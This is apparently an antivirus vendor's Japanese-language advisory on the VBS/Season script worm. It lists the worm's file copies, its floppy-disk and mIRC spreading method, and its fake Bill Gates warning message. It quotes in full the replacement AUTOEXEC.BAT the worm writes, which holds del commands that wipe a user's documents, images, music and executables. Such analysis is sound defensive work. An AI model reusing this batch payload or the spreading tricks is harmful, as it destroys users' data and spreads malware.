ウイルス情報

ウイルス名

VBS/Season

種別 ウイルス
ファイルサイズ
最小定義ファイル
(最初に検出を確認したバージョン)
4112
対応定義ファイル
(現在必要とされるバージョン)
4112 (現在7633)
対応エンジン 4.0.35以降 (現在5600) 
エンジンバージョンの見分け方
別名 BAT_SEASON.A, IRC_SEASON.A, VBS_SEASON.A
情報掲載日 00/12/28
発見日(米国日付) 00/12/14
駆除補足 ウイルス駆除のヒント
概要 ウイルスの特徴 感染症状 感染方法 駆除方法


  • VBS/Seasonは、Visual Basic Scriptウイルスです。

  • このウイルスが動作するには、Windows Scripting Host(Internet Explorer 5の一部)が必要です。

  • このウイルスが起動すると、スクリプトは次のことを行います。

    - 自身のコピーを以下に保存する。

      C:\WINDOWS\IMPORTANT.TXT.VBS
      C:\IMPORTANT.TXT.VBS
      C:\WINDOWS\SYSTEM\IMPORTANT.TXT.VBS
      C:\MY DOCUMENTS\IMPORTANT.TXT.VBS

    - "C:\WINDOWS\START MENU\PROGRAMS\STARTUP\SPREADBYADRIVE.TXT.VBS"を作成する。Windowsの起動時に挿入されたフロッピーディスクに"IMPORTANT.TXT.VBS"をコピーする。

    - "Important Message: Bill Gates"というメッセージボックスが現れ、次のメッセージが表示される。

      Message From Bill Gates
      Please be alert that there will be new virus be out this season
      Please Look Out!!!
      Pass this message to other people
      This message is saved to the file, "C:\WINDOWS\DESKTOP\IMPORTANTMESSAGE.TXT"

    <訳>
    ビル・ゲイツからのメッセージ
    新種ウイルスがこの時期に上陸します。
    注意してください!!!
    このメッセージを他の人に転送してください。
    このメッセージは、"C:\WINDOWS\DESKTOP\IMPORTANTMESSAGE.TXT"ファイルに保存されています。

    - "C:\MIRC"がある場合は、"SCRIPT.INI"ファイルを上書きして、ユーザがIRCチャネルに参加したときに、"C:\WINDOWS\SYSTEM\IMPORTANT.TXT.VBS"を他のユーザに配信するようにmIRCクライアントに指示する。

    - "C:\AUTOEXEC.BAT"ファイルを上書きして、次のように読み込む。

      @ECHO OFF
      echo.
      echo Important Message!!
      echo Message From Bill Gates
      echo New viruses is out this season!!!
      echo Look Out!!!
      del C:\MyDocu~1\*.txt
      del C:\MyDocu~1\*.mp3
      del C:\MyDocu~1\*.txt
      del C:\MyDocu~1\*.bmp
      del C:\MyDocu~1\*.jpg
      del C:\MyDocu~1\*.gif
      del C:\MyDocu~1\*.zip
      del C:\MyDocu~1\*.exe
      del C:\MyDocu~1\*.wav

    - 最後に、"Important Message"というメッセージボックスが現れ、次のメッセージが表示される。

      "There will be a text file on your desktop
      Please Read Carefully"
      (デスクトップ上にテキストファイルがあります。注意して読んでください)